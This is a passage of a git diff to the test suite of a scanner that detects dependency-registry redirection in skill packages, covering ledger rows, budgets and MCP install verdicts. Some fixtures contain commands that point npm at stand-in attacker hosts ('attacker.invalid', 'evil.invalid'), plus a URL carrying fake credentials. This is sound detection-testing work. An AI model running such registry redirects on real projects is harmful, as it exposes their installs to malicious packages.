test_candidate_budget_exact_limits_still_emit_the_finding(resource: str) -> assert analysis.limitations == () -@pytest.mark.parametrize("resource", ["retained", "records", "changes"]) +@pytest.mark.parametrize("resource", ["retained", "records"]) def test_candidate_budget_one_over_preserves_prior_reserved_change_and_adds_limitation( resource: str, ) -> None: @@ -859,8 +939,6 @@ def test_candidate_budget_one_over_preserves_prior_reserved_change_and_adds_limi ) elif resource == "records": assert budget.charge_source_records(MAX_DEPENDENCY_SOURCE_RECORDS - 1) is None - else: - assert budget.reserve_source_changes(MAX_DEPENDENCY_SOURCE_CHANGES - 1) is None content = f"registry={_BUDGET_LITERAL}\n@scope:registry={_BUDGET_LITERAL}\n" analysis = _analyze({".npmrc": content}, budget=budget) @@ -873,7 +951,6 @@ def test_candidate_budget_one_over_preserves_prior_reserved_change_and_adds_limi assert set(limitation.ledger_metrics()) in ( {"observed_bytes", "limit_bytes"}, {"observed_records", "limit_records"}, - {"observed_findings", "limit_findings"}, ) @@ -980,10 +1057,10 @@ def test_yarn_yaml_accepts_flow_quoted_block_and_alias_values_with_exact_spans( DependencyWorkBudget().for_file(path), ) assert content.encode()[ - parsed.changes[0].span.start_byte : parsed.changes[0].span.end_byte + parsed.candidates[0].span.start_byte : parsed.candidates[0].span.end_byte ].startswith(b">-") assert ( - content.encode()[parsed.changes[1].span.start_byte : parsed.changes[1].span.end_byte] + content.encode()[parsed.candidates[1].span.start_byte : parsed.candidates[1].span.end_byte] == b"*registry" ) @@ -1288,7 +1365,8 @@ def test_python_project_accepts_quoted_dotted_keys_and_anchors_each_url_occurren DependencyWorkBudget().for_file("pyproject.toml"), ) assert [ - content.encode()[change.span.start_byte : change.span.end_byte] for change in parsed.changes + content.encode()[change.span.start_byte : change.span.end_byte] + for change in parsed.candidates ] == [ b'"https://same.example.invalid/simple"', b'"https://same.example.invalid/simple"', @@ -1307,8 +1385,8 @@ def test_python_project_multiline_url_span_covers_its_own_value_token() -> None: ) assert parsed.limitations == () - assert len(parsed.changes) == 1 - span = parsed.changes[0].span + assert len(parsed.candidates) == 1 + span = parsed.candidates[0].span assert (span.start_line, span.end_line) == (2, 3) assert content.encode()[span.start_byte : span.end_byte] == ( b'"""https://packages.example.invalid\r\n/simple"""' @@ -1443,7 +1521,7 @@ def unexpected_loads(text: str) -> object: assert calls == [] -@pytest.mark.parametrize("resource", ["retained", "records", "changes"]) +@pytest.mark.parametrize("resource", ["retained", "records"]) def test_python_source_budget_one_over_discards_partial_file_results(resource: str) -> None: budget = DependencyWorkBudget() literal = "https://packages.example.invalid/simple" @@ -1456,8 +1534,6 @@ def test_python_source_budget_one_over_discards_partial_file_results(resource: s ) elif resource == "records": assert budget.charge_source_records(MAX_DEPENDENCY_SOURCE_RECORDS - 1) is None - else: - assert budget.reserve_source_changes(MAX_DEPENDENCY_SOURCE_CHANGES - 1) is None content = f'[[index]]\nurl="{literal}"\n[[index]]\nurl="{literal}"\n' analysis = _analyze({"uv.toml": content}, budget=budget) @@ -1467,7 +1543,7 @@ def test_python_source_budget_one_over_discards_partial_file_results(resource: s assert analysis.limitations[0].ledger_metrics() -def test_atomic_structured_file_discard_does_not_leak_output_budget_reservations() -> None: +def test_transient_structured_candidates_do_not_reserve_public_output_capacity() -> None: budget = DependencyWorkBudget() prior = MAX_DEPENDENCY_SOURCE_CHANGES - 1 assert budget.reserve_source_changes(prior) is None @@ -1478,7 +1554,8 @@ def test_atomic_structured_file_discard_does_not_leak_output_budget_reservations analysis = _analyze({"uv.toml": content}, budget=budget) - _assert_single_parse_limitation(analysis, path="uv.toml", end_line=5) + assert [finding.start_line for finding in analysis.findings] == [2, 4] + assert analysis.limitations == () assert { resource: budget.used(resource) for resource in ( @@ -1488,8 +1565,8 @@ def test_atomic_structured_file_discard_does_not_leak_output_budget_reservations DependencyWorkResource.FINDING_OUTPUT_RECORDS, ) } == { - DependencyWorkResource.SOURCE_RECORDS: 0, - DependencyWorkResource.RETAINED_LITERAL_BYTES: 0, + DependencyWorkResource.SOURCE_RECORDS: 2, + DependencyWorkResource.RETAINED_LITERAL_BYTES: 68, DependencyWorkResource.EMITTED_CHANGES: prior, DependencyWorkResource.FINDING_OUTPUT_RECORDS: prior, } @@ -1560,7 +1637,8 @@ def test_cargo_resolves_replacement_and_emits_each_exact_configured_occurrence( DependencyWorkBudget().for_file(path), ) assert [ - content.encode()[change.span.start_byte : change.span.end_byte] for change in parsed.changes + content.encode()[change.span.start_byte : change.span.end_byte] + for change in parsed.candidates ] == [ b'"mirror"', b'"sparse+https://packages.example.invalid/index/"', @@ -1908,7 +1986,7 @@ def test_proven_generated_npm_config_dispatch_remaps_to_physical_script_span() - change.span.path, change.span.start_line, ) - for change in parsed.changes + for change in parsed.candidates ] == [ ( "npm", @@ -1945,7 +2023,7 @@ def test_async_pending_heredoc_cannot_create_a_generated_dependency_change() -> ) assert analysis.program.generated_configs == () - assert parsed.changes == () + assert parsed.candidates == () def test_generated_configs_follow_typed_function_execution_context() -> None: @@ -1965,7 +2043,7 @@ def destinations(script: bytes) -> tuple[list[str], Any]: analysis.program.generated_configs, budget=budget, ) - return [change.destination for change in parsed.changes], analysis + return [change.destination for change in parsed.candidates], analysis root_definition = b"f(){ writer >.npmrc < tuple[list[str], Any]: analysis.program.generated_configs, budget=budget, ) - return [change.destination for change in parsed.changes], analysis + return [change.destination for change in parsed.candidates], analysis child_definition = ( b"f(){ writer >.npmrc < tuple[Any, Any]: assert inactive.public.issues == () assert inactive.program.generated_configs == () - assert inactive_parsed.changes == () + assert inactive_parsed.candidates == () assert inactive_parsed.limitations == () assert active.public.issues - assert active_parsed.changes == () + assert active_parsed.candidates == () assert active_parsed.limitations ambiguous_raw = ( @@ -2183,10 +2261,10 @@ def parse(raw: bytes) -> tuple[Any, Any]: unquoted, unquoted_analysis = parse(prefix + b"writer >$CFG" + body) quoted, quoted_analysis = parse(prefix + b'writer >"$CFG"' + body) - assert unquoted.changes == () + assert unquoted.candidates == () assert unquoted.limitations assert unquoted_analysis.public.issues - assert [change.destination for change in quoted.changes] == [ + assert [candidate.destination for candidate in quoted.candidates] == [ "https://packages.example.invalid/REDACTED_PATH" ] assert quoted.limitations == () @@ -2226,13 +2304,46 @@ def test_generated_config_dispatch_encloses_proven_transformed_value_spans(raw: ) assert parsed.limitations == () - assert len(parsed.changes) == 1 - change = parsed.changes[0] + assert len(parsed.candidates) == 1 + change = parsed.candidates[0] assert change.destination == "https://packages.example.invalid/REDACTED_PATH" assert change.destination_status.value == "resolved" assert change.span.path == "scripts/generated.sh" +@pytest.mark.parametrize( + "target", + [b'"$HOME/.npmrc"', b"~/.npmrc"], + ids=("quoted-home", "leading-tilde"), +) +def test_generated_home_npmrc_selector_proof_does_not_taint_exact_content( + target: bytes, +) -> None: + dependency_sources = importlib.import_module("skillspector.dependency_sources") + shell_frontend = importlib.import_module("skillspector.shell_frontend") + raw = ( + b"#!/bin/sh\ncat > " + target + b" < N budget=budget, ) - assert parsed.changes == () + assert parsed.candidates == () assert len(parsed.limitations) == 1 @@ -2403,7 +2514,7 @@ def test_generated_config_rejects_tampered_interior_physical_line_metadata() -> budget=budget, ) - assert parsed.changes == () + assert parsed.candidates == () assert len(parsed.limitations) == 1 @@ -2427,7 +2538,7 @@ def test_generated_config_uncovered_uncertainty_fails_before_output_reservations budget=budget, ) - assert parsed.changes == () + assert parsed.candidates == () assert len(parsed.limitations) == 1 assert budget.used(DependencyWorkResource.SOURCE_RECORDS) == 0 assert budget.used(DependencyWorkResource.EMITTED_CHANGES) == 0 @@ -2486,10 +2597,10 @@ def test_generated_config_dispatch_is_generic_but_evidence_stays_in_script( ) assert parsed.limitations == () - assert [(change.ecosystem.value, change.surface.value) for change in parsed.changes] == [ + assert [(change.ecosystem.value, change.surface.value) for change in parsed.candidates] == [ (ecosystem, "generated-config") ] - assert parsed.changes[0].span.path == "scripts/generated.sh" + assert parsed.candidates[0].span.path == "scripts/generated.sh" def test_generated_config_invalid_values_and_mapping_gaps_fail_closed_before_output() -> None: @@ -2557,7 +2668,7 @@ def config() -> Any: for candidate in cases: budget = DependencyWorkBudget() parsed = dependency_sources._parse_generated_configs([candidate], budget=budget) - assert parsed.changes == () + assert parsed.candidates == () assert len(parsed.limitations) == 1 assert budget.used(DependencyWorkResource.SOURCE_RECORDS) == 0 assert budget.used(DependencyWorkResource.EMITTED_CHANGES) == 0 @@ -2566,7 +2677,7 @@ def config() -> Any: [replace(base, target=dependency_types.StaticValue.exact(b"notes.txt"))], budget=DependencyWorkBudget(), ) - assert ignored.changes == () + assert ignored.candidates == () assert ignored.limitations == () @@ -2660,7 +2771,7 @@ def test_generated_config_rejects_tampered_physical_line_metadata( parsed = dependency_sources._parse_generated_configs([candidate], budget=budget) - assert parsed.changes == () + assert parsed.candidates == () assert len(parsed.limitations) == 1 @@ -2710,7 +2821,7 @@ def test_literal_maven_settings_reference_dispatches_nonstandard_bundle_file() - change.span.path, change.span.start_line, ) - for change in parsed.changes + for change in parsed.candidates ] == [ ( "maven", @@ -2771,7 +2882,7 @@ def test_maven_settings_reference_is_literal_unique_bundle_root_only( budget=budget, ) - assert len(parsed.changes) == (1 if expected == "finding" else 0) + assert len(parsed.candidates) == (1 if expected == "finding" else 0) assert len(parsed.limitations) == (1 if expected == "limitation" else 0) @@ -2837,7 +2948,7 @@ def test_maven_settings_reference_rejects_inconsistent_supplied_bundle_maps( budget=budget, ) - assert parsed.changes == () + assert parsed.candidates == () assert len(parsed.limitations) == 1 @@ -2875,7 +2986,7 @@ def test_maven_settings_reference_rejects_normalized_bundle_aliases() -> None: budget=budget, ) - assert parsed.changes == () + assert parsed.candidates == () assert len(parsed.limitations) == 1 @@ -2909,7 +3020,7 @@ def test_maven_settings_reference_rejects_function_shadowed_mvn() -> None: budget=budget, ) - assert parsed.changes == () + assert parsed.candidates == () assert len(parsed.limitations) == 1 @@ -2953,7 +3064,7 @@ def test_maven_settings_reference_honors_private_execution_and_source_barriers( budget=budget, ) - assert parsed.changes == () + assert parsed.candidates == () assert len(parsed.limitations) == expected_limitations @@ -3029,7 +3140,7 @@ def test_maven_settings_reference_fails_closed_across_typed_execution_boundaries budget=budget, ) - assert parsed.changes == () + assert parsed.candidates == () assert len(parsed.limitations) == expected_limitations @@ -3076,7 +3187,7 @@ def test_maven_settings_reference_preserves_uncalled_nested_function_context( budget=budget, ) - assert len(parsed.changes) == expected_changes + assert len(parsed.candidates) == expected_changes assert parsed.limitations == () @@ -3265,9 +3376,12 @@ def test_maven_xml_decoding_canonicality_interpolation_redaction_and_spans() -> content.encode(), DependencyWorkBudget().for_file("settings.xml"), ) - assert content.encode()[ - parsed.changes[0].span.start_byte : parsed.changes[0].span.end_byte - ].startswith(b"https://alice:") + redirected = next( + candidate for candidate in parsed.candidates if not candidate.canonical_default + ) + assert content.encode()[redirected.span.start_byte : redirected.span.end_byte].startswith( + b"https://alice:" + ) def test_maven_repeated_url_text_uses_accepted_parent_and_utf8_byte_correlation() -> None: @@ -3293,7 +3407,7 @@ def test_maven_repeated_url_text_uses_accepted_parent_and_utf8_byte_correlation( content.encode(), DependencyWorkBudget().for_file("pom.xml"), ) - span = parsed.changes[0].span + span = parsed.candidates[0].span assert content.encode()[span.start_byte : span.end_byte] == (b"https://same.example.invalid/m2") @@ -3312,8 +3426,8 @@ def test_maven_url_span_excludes_surrounding_xml_whitespace() -> None: ) assert parsed.limitations == () - assert len(parsed.changes) == 1 - span = parsed.changes[0].span + assert len(parsed.candidates) == 1 + span = parsed.candidates[0].span assert (span.start_line, span.end_line) == (2, 2) assert content.encode()[span.start_byte : span.end_byte] == ( b"https://packages.example.invalid/m2" @@ -3528,10 +3642,8 @@ def nested(depth: int) -> str: [ ("records", "cargo"), ("retained", "cargo"), - ("changes", "cargo"), ("records", "maven"), ("retained", "maven"), - ("changes", "maven"), ], ) def test_cargo_and_maven_semantic_budget_is_exact_and_one_over( @@ -3557,8 +3669,6 @@ def budget_with_remaining(remaining: int) -> DependencyWorkBudget: ) is None ) - else: - assert budget.reserve_source_changes(MAX_DEPENDENCY_SOURCE_CHANGES - remaining) is None return budget assert _analyze({path: content}, budget=budget_with_remaining(1)).limitations == () diff --git a/tests/nodes/test_sc10_coverage_contract.py b/tests/nodes/test_sc10_coverage_contract.py index ff403e80..82f8378b 100644 --- a/tests/nodes/test_sc10_coverage_contract.py +++ b/tests/nodes/test_sc10_coverage_contract.py @@ -14,6 +14,17 @@ import pytest from skillspector.artifacts import classify_artifact +from skillspector.dependency_source_types import ( + MAX_DEPENDENCY_SHELL_UNITS_PER_FILE, + ShellDialect, + ShellIssue, + ShellIssueReason, + ShellUnitKind, + ShellWorkItem, + ShellWorkOutcome, + SiteProvenance, + SourceSpan, +) from skillspector.graph import graph from skillspector.inspection_ledger import ( MAX_INSPECTION_LEDGER_EVENTS, @@ -361,21 +372,165 @@ def test_clean_and_partial_configs_have_exact_terminal_producer_rows( assert response["findings"] == [] -def test_obvious_shell_redirect_is_only_an_executable_coverage_limitation( +def test_shell_dependency_finding_attaches_once_to_its_typed_producer_row( monkeypatch: pytest.MonkeyPatch, ) -> None: content = "npm config set registry https://attacker.invalid\n" response = _supply_chain_response(monkeypatch, {"scripts/setup.sh": content}) - assert not any(finding.rule_id == "SC10" for finding in response["findings"]) - coverage = [ + findings = [finding for finding in response["findings"] if finding.rule_id == "SC10"] + assert len(findings) == 1 + shell_rows = [ row for row in response["inspection_ledger"] - if row.get("analyzer_id") == "dependency_source_coverage" + if row.get("analyzer_id") == "dependency_source_shell" ] - assert len(coverage) == 1 - assert coverage[0]["reason_code"] is LedgerReason.UNSCANNED_EXECUTABLE_CONTENT - assert "attacker.invalid" not in repr(coverage) + assert len(shell_rows) == 1 + assert ( + shell_rows[0]["path"], + shell_rows[0]["start_line"], + shell_rows[0]["end_line"], + shell_rows[0]["outcome"], + shell_rows[0].get("reason_code"), + shell_rows[0]["emitted_finding_ids"], + ) == ( + "scripts/setup.sh", + 1, + 1, + LedgerOutcome.COMPLETED, + None, + [findings[0].finding_id], + ) + assert not any( + row.get("analyzer_id") == "dependency_source_coverage" + for row in response["inspection_ledger"] + ) + assert ( + sum( + findings[0].finding_id in row["emitted_finding_ids"] + for row in response["inspection_ledger"] + ) + == 1 + ) + assert "attacker.invalid" not in repr(shell_rows) + + +def test_ambiguous_shell_dependency_work_is_one_partial_terminal_row( + monkeypatch: pytest.MonkeyPatch, +) -> None: + content = ( + "#!/bin/bash\ncat < None: + span = SourceSpan("scripts/setup.sh", 0, 10, 1, 1) + completed = ShellWorkItem( + "a" * 32, + ShellDialect.SH, + ShellUnitKind.STANDALONE, + SiteProvenance.FILE_SUFFIX, + span, + ShellWorkOutcome.COMPLETED, + ) + partial = ShellWorkItem( + "b" * 32, + ShellDialect.SH, + ShellUnitKind.STANDALONE, + SiteProvenance.FILE_SUFFIX, + span, + ShellWorkOutcome.PARTIAL, + ) + issue = ShellIssue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + ShellWorkOutcome.PARTIAL, + span, + unit_id="b" * 32, + ) + + plans, by_unit_id = supply_chain._shell_dependency_row_plans( + (completed, partial), + (issue,), + ) + + assert len(plans) == 1 + assert plans[0].outcome is LedgerOutcome.PARTIAL + assert plans[0].reason is LedgerReason.DEPENDENCY_SOURCE_UNSUPPORTED_SEMANTICS + assert set(by_unit_id) == {"a" * 32, "b" * 32} + + +def test_productive_and_resource_skipped_same_line_work_remains_partial( + monkeypatch: pytest.MonkeyPatch, +) -> None: + nested_commands = " ".join( + "sh -c ':';" for _index in range(MAX_DEPENDENCY_SHELL_UNITS_PER_FILE) + ) + content = f"npm config set registry https://evil.invalid; {nested_commands}\n" + + response = _supply_chain_response(monkeypatch, {"scripts/setup.sh": content}) + + findings = [finding for finding in response["findings"] if finding.rule_id == "SC10"] + rows = [ + row + for row in response["inspection_ledger"] + if row.get("analyzer_id") == "dependency_source_shell" + ] + assert len(findings) == 1 + assert len(rows) == 1 + assert ( + rows[0]["outcome"], + rows[0]["reason_code"], + rows[0]["emitted_finding_ids"], + ) == ( + LedgerOutcome.PARTIAL, + LedgerReason.DEPENDENCY_SOURCE_RESOURCE_LIMIT, + [findings[0].finding_id], + ) + + +def test_shell_parser_unavailable_has_a_distinct_failed_ledger_reason() -> None: + span = SourceSpan("scripts/setup.sh", 0, 10, 1, 1) + failed = ShellWorkItem( + "a" * 32, + ShellDialect.SH, + ShellUnitKind.STANDALONE, + SiteProvenance.FILE_SUFFIX, + span, + ShellWorkOutcome.FAILED, + ) + issue = ShellIssue( + ShellIssueReason.SHELL_PARSER_UNAVAILABLE, + ShellWorkOutcome.FAILED, + span, + unit_id="a" * 32, + ) + + plans, _by_unit_id = supply_chain._shell_dependency_row_plans((failed,), (issue,)) + + assert len(plans) == 1 + assert plans[0].outcome is LedgerOutcome.FAILED + assert plans[0].reason is LedgerReason.DEPENDENCY_SOURCE_SHELL_PARSER_UNAVAILABLE def _seed_ledger(count: int) -> list[dict[str, Any]]: @@ -390,6 +545,39 @@ def _seed_ledger(count: int) -> list[dict[str, Any]]: ] +def test_sc10_existing_shell_producer_row_is_attached_without_new_ledger_charge( + monkeypatch: pytest.MonkeyPatch, +) -> None: + path = "scripts/setup.sh" + existing = [ + *_seed_ledger(MAX_INSPECTION_LEDGER_EVENTS - 2), + ledger_event( + analyzer_id="dependency_source_shell", + outcome=LedgerOutcome.COMPLETED, + phase="static", + path=path, + start_line=1, + end_line=1, + ), + ] + response = _supply_chain_response( + monkeypatch, + {path: "npm config set registry https://packages.example.invalid\n"}, + existing_ledger=existing, + ) + + findings = [finding for finding in response["findings"] if finding.rule_id == "SC10"] + assert len(findings) == 1 + assert len(response["inspection_ledger"]) == MAX_INSPECTION_LEDGER_EVENTS - 1 + producer = next( + row + for row in response["inspection_ledger"] + if row.get("analyzer_id") == "dependency_source_shell" + ) + assert producer["emitted_finding_ids"] == [findings[0].finding_id] + assert not any(row["phase"] == "ledger_output" for row in response["inspection_ledger"]) + + @pytest.mark.parametrize("existing_count", [9_999, 10_000]) def test_sc10_ledger_overflow_uses_canonical_marker_and_finalizes_partial( monkeypatch: pytest.MonkeyPatch, existing_count: int diff --git a/tests/nodes/test_security_end_to_end.py b/tests/nodes/test_security_end_to_end.py index 854f18df..dfb182a0 100644 --- a/tests/nodes/test_security_end_to_end.py +++ b/tests/nodes/test_security_end_to_end.py @@ -601,13 +601,11 @@ async def test_rd07_collision_resistance_and_occurrence_preservation(tmp_path: P exact, expected_locations={"TM1": {"a.sh", "b.sh"}}, python_result=exact_result, - expected_executable_ranges={"a.sh": (1, 1), "b.sh": (1, 1)}, ) await _assert_rules_across_public_surfaces( distinct, expected_locations={"TM1": {"a.sh", "b.sh"}}, python_result=distinct_result, - expected_executable_ranges={"a.sh": (1, 1), "b.sh": (1, 1)}, ) @@ -654,7 +652,6 @@ async def test_nine_case_contract_across_public_surfaces(tmp_path: Path) -> None tmp_path, expected_locations=expected, python_result=result, - expected_executable_ranges={"scripts/a.sh": (1, 1), "scripts/b.sh": (1, 1)}, ) diff --git a/tests/unit/test_dependency_command_adapters.py b/tests/unit/test_dependency_command_adapters.py index 4571f358..d63473cc 100644 --- a/tests/unit/test_dependency_command_adapters.py +++ b/tests/unit/test_dependency_command_adapters.py @@ -173,6 +173,66 @@ def _projection(result: Any) -> list[tuple[object, ...]]: ] +@pytest.mark.parametrize( + "trailing", + [ + (b"--location=project",), + (b"--location", b"project"), + (b"--userconfig", b"./.npmrc"), + ], +) +def test_npm_completed_pairs_snapshot_scope_before_known_trailing_options( + trailing: tuple[bytes, ...], +) -> None: + result = adapt_command( + _site( + [ + b"npm", + b"config", + b"set", + b"registry", + b"https://npm.invalid", + *trailing, + ] + ), + budget=DependencyWorkBudget(), + ) + + assert _projection(result) == [ + ( + DependencyEcosystem.NPM, + DependencySourceSurface.COMMAND, + DependencySourceOperation.SET, + DependencySourceScope.GLOBAL, + "exact", + b"https://npm.invalid", + ) + ] + assert result.issues == () + + +@pytest.mark.parametrize("trailing", [(b"--location",), (b"--userconfig",)]) +def test_npm_missing_trailing_option_operands_remain_limitations( + trailing: tuple[bytes, ...], +) -> None: + result = adapt_command( + _site( + [ + b"npm", + b"config", + b"set", + b"registry", + b"https://npm.invalid", + *trailing, + ] + ), + budget=DependencyWorkBudget(), + ) + + assert result.candidates == () + assert len(result.issues) == 1 + + @pytest.mark.parametrize( ("argv", "semantic"), [ diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index b4215f5c..f35e00ee 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -781,6 +781,59 @@ def test_source_change_rejects_empty_semantic_fields_and_has_no_raw_payload_slot } +def test_transient_candidate_is_sanitized_ranked_and_linked_to_its_shell_producer() -> None: + api = _api() + candidate = api.DependencySourceCandidate( + ecosystem=api.DependencyEcosystem.NPM, + surface=api.DependencySourceSurface.COMMAND, + operation=api.DependencySourceOperation.SET, + scope=api.DependencySourceScope.PROJECT, + destination="https://packages.example.invalid/REDACTED_PATH", + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), + producer_unit_id="a" * 32, + rank=api.DependencyCandidateRank.RECOVERED, + canonical_default=False, + ) + + assert candidate.producer_unit_id == "a" * 32 + assert candidate.rank is api.DependencyCandidateRank.RECOVERED + assert candidate.canonical_default is False + assert "REDACTED_PATH" in repr(candidate) + assert {field.name for field in dataclasses.fields(api.DependencySourceCandidate)} == { + "ecosystem", + "surface", + "operation", + "scope", + "destination", + "destination_status", + "span", + "producer_unit_id", + "rank", + "canonical_default", + } + + +def test_transient_candidate_rejects_invalid_producer_identity_and_unredacted_destination() -> None: + api = _api() + values = { + "ecosystem": api.DependencyEcosystem.NPM, + "surface": api.DependencySourceSurface.COMMAND, + "operation": api.DependencySourceOperation.SET, + "scope": api.DependencySourceScope.PROJECT, + "destination": "https://packages.example.invalid", + "destination_status": api.DestinationStatus.RESOLVED, + "span": _span(api), + } + + with pytest.raises(ValueError): + api.DependencySourceCandidate(**values, producer_unit_id="attacker-controlled") + unsafe_values = dict(values) + unsafe_values["destination"] = "https://user:secret@packages.example.invalid/path?token=abc" + with pytest.raises(ValueError): + api.DependencySourceCandidate(**unsafe_values) + + @pytest.mark.parametrize("field", ["ecosystem", "surface", "operation", "scope"]) @pytest.mark.parametrize("unsafe", ["attacker-secret", "safe\x00value"]) def test_source_change_semantics_reject_attacker_controlled_labels( @@ -838,7 +891,7 @@ def test_resolved_destination_rejects_values_above_its_explicit_bound() -> None: def test_parse_and_analysis_results_freeze_iterables_as_tuples() -> None: api = _api() - change = api.SourceChange( + candidate = api.DependencySourceCandidate( ecosystem="pip", surface="source", operation="replace", @@ -856,16 +909,39 @@ def test_parse_and_analysis_results_freeze_iterables_as_tuples() -> None: limit_records=50, ) - parsed = api.DependencySourceParseResult(changes=[change], limitations=[limitation]) + parsed = api.DependencySourceParseResult(candidates=[candidate], limitations=[limitation]) finding = Finding(rule_id="SC10", message="source changed") analysis = api.DependencySourceAnalysis(findings=[finding], limitations=[limitation]) - assert parsed.changes == (change,) + assert parsed.candidates == (candidate,) + assert not hasattr(parsed, "changes") assert parsed.limitations == (limitation,) assert analysis.findings == (finding,) assert analysis.limitations == (limitation,) with pytest.raises(dataclasses.FrozenInstanceError): - parsed.changes = () + parsed.candidates = () + + +def test_analysis_keeps_one_validated_producer_identity_per_finding() -> None: + api = _api() + finding = Finding(rule_id="SC10", message="source changed") + + analysis = api.DependencySourceAnalysis( + findings=[finding], + finding_producer_unit_ids=["a" * 32], + ) + + assert analysis.finding_producer_unit_ids == ("a" * 32,) + with pytest.raises(ValueError): + api.DependencySourceAnalysis( + findings=[finding], + finding_producer_unit_ids=["a" * 32, "b" * 32], + ) + with pytest.raises(ValueError): + api.DependencySourceAnalysis( + findings=[finding], + finding_producer_unit_ids=["attacker-controlled"], + ) def test_limitation_exposes_only_safe_path_range_and_ledger_numeric_metrics() -> None: @@ -1117,6 +1193,80 @@ def test_source_change_reservation_mutates_neither_counter_when_change_capacity_ assert budget.used(api.DependencyWorkResource.FINDING_OUTPUT_RECORDS) == 9_999 +def test_dependency_output_reservation_charges_changes_findings_and_new_ledger_rows_atomically() -> ( + None +): + api = _api() + budget = api.DependencyWorkBudget( + existing_finding_output_records=9_998, + existing_ledger_events=9_997, + ) + assert budget.charge_emitted_changes(9_998) is None + + exhaustion = budget.reserve_dependency_outputs( + emitted_changes=2, + finding_output_records=2, + new_ledger_events=2, + ) + + assert exhaustion is None + assert budget.used(api.DependencyWorkResource.EMITTED_CHANGES) == 10_000 + assert budget.used(api.DependencyWorkResource.FINDING_OUTPUT_RECORDS) == 10_000 + assert budget.used(api.DependencyWorkResource.LEDGER_EVENTS) == 9_999 + + +def test_dependency_output_reservation_rolls_back_every_counter_when_ledger_capacity_denies() -> ( + None +): + api = _api() + budget = api.DependencyWorkBudget( + existing_finding_output_records=9_998, + existing_ledger_events=9_999, + ) + assert budget.charge_emitted_changes(9_998) is None + before = { + resource: budget.used(resource) + for resource in ( + api.DependencyWorkResource.EMITTED_CHANGES, + api.DependencyWorkResource.FINDING_OUTPUT_RECORDS, + api.DependencyWorkResource.LEDGER_EVENTS, + ) + } + + exhaustion = budget.reserve_dependency_outputs( + emitted_changes=1, + finding_output_records=1, + new_ledger_events=1, + ) + + assert exhaustion == api.DependencyWorkExhaustion( + api.DependencyWorkResource.LEDGER_EVENTS, + 10_001, + 10_000, + ) + assert {resource: budget.used(resource) for resource in before} == before + + +def test_dependency_output_reservation_does_not_charge_an_existing_producer_row() -> None: + api = _api() + budget = api.DependencyWorkBudget( + existing_finding_output_records=9_999, + existing_ledger_events=9_999, + ) + before_ledger = budget.used(api.DependencyWorkResource.LEDGER_EVENTS) + + exhaustion = budget.reserve_dependency_outputs( + emitted_changes=1, + finding_output_records=1, + new_ledger_events=0, + ) + + assert exhaustion is None + assert budget.used(api.DependencyWorkResource.EMITTED_CHANGES) == 1 + assert budget.used(api.DependencyWorkResource.FINDING_OUTPUT_RECORDS) == 10_000 + assert budget.used(api.DependencyWorkResource.LEDGER_EVENTS) == before_ledger + + def test_finding_capacity_starts_from_existing_public_output_record_footprint() -> None: api = _api() existing = Finding( diff --git a/tests/unit/test_mcp_server.py b/tests/unit/test_mcp_server.py index b4d9915c..52068b7f 100644 --- a/tests/unit/test_mcp_server.py +++ b/tests/unit/test_mcp_server.py @@ -69,7 +69,7 @@ async def test_run_scan_llm_accounting_is_honest_without_credentials( assert result["scan_mode"] == "static-only" -async def test_mcp_blocks_install_for_unscanned_executable_dependency_source( +async def test_mcp_reports_scanned_executable_dependency_source( tmp_path: Path, ) -> None: _write_skill(tmp_path) @@ -83,10 +83,10 @@ async def test_mcp_blocks_install_for_unscanned_executable_dependency_source( assert result["recommendation"] == "CAUTION" assert result["execution_successful"] is True - assert result["analysis_completeness"]["is_complete"] is False - assert result["analysis_completeness"]["status"] == "partial" - assert result["safe_to_install"] is False - assert not any(finding["rule_id"] == "SC10" for finding in result["findings"]) + assert result["analysis_completeness"]["is_complete"] is True + assert result["analysis_completeness"]["status"] == "complete" + assert result["safe_to_install"] is True + assert any(finding["id"] == "SC10" for finding in result["findings"]) async def test_run_scan_reports_llm_available_with_credentials( diff --git a/tests/unit/test_shell_frontend_dependency.py b/tests/unit/test_shell_frontend_dependency.py index ec8fda5e..f9005217 100644 --- a/tests/unit/test_shell_frontend_dependency.py +++ b/tests/unit/test_shell_frontend_dependency.py @@ -270,6 +270,36 @@ def parse( assert caught.value.deadline_tripped is True +def test_public_shell_analysis_propagates_the_production_deadline() -> None: + frontend = _frontend() + contracts = importlib.import_module("skillspector.dependency_source_types") + raw = b"printf ok\n" + unit = contracts.ShellUnit( + dialect=contracts.ShellDialect.BASH, + kind=contracts.ShellUnitKind.STANDALONE, + provenance=contracts.SiteProvenance.FILE_SUFFIX, + raw_bytes=raw, + origin_span=contracts.SourceSpan( + "scripts/setup.sh", + 0, + len(raw), + 1, + 1, + start_column=0, + end_column=len(raw), + ), + ) + + result = frontend.analyze_shell_unit( + unit, + budget=contracts.DependencyWorkBudget(), + deadline_monotonic=time.monotonic() - 1.0, + ) + + assert [issue.reason for issue in result.issues] == [contracts.ShellIssueReason.RUNTIME_LIMIT] + assert [item.outcome for item in result.work_items] == [contracts.ShellWorkOutcome.PARTIAL] + + def test_native_parser_timeout_is_classified_only_after_deadline_trips( monkeypatch: pytest.MonkeyPatch, ) -> None: From 29a5c9e567dae5fa570ef05770701f02bcddb591 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Wed, 26 Aug 2026 13:59:32 -0700 Subject: [PATCH 09/13] test(sc10): gate redaction and provider invariance Signed-off-by: Nir Paz --- src/skillspector/nodes/meta_analyzer.py | 18 ++-- src/skillspector/nodes/report.py | 2 + tests/nodes/test_llm_analyzer_base.py | 13 ++- tests/nodes/test_meta_analyzer.py | 138 ++++++++++++++++++++++-- tests/nodes/test_report_sanitizer.py | 138 ++++++++++++++++++++++++ tests/nodes/test_sc10_outputs.py | 111 +++++++++++++++++++ 6 files changed, 399 insertions(+), 21 deletions(-) diff --git a/src/skillspector/nodes/meta_analyzer.py b/src/skillspector/nodes/meta_analyzer.py index e0053885..46f2d527 100644 --- a/src/skillspector/nodes/meta_analyzer.py +++ b/src/skillspector/nodes/meta_analyzer.py @@ -401,10 +401,10 @@ def apply_filter( ``(file, rule_id)`` keying for LLM responses that omit ``start_line``. Every deterministic finding remains in primary output. Unconfirmed - findings receive an annotation tag; confirmed findings may gain an - explanation or higher confidence, but are never downgraded. + findings receive an annotation tag; confirmed findings may gain + presentation text, but cannot change deterministic confidence. """ - _enrichment = tuple[str, str, float] + _enrichment = tuple[str, str] 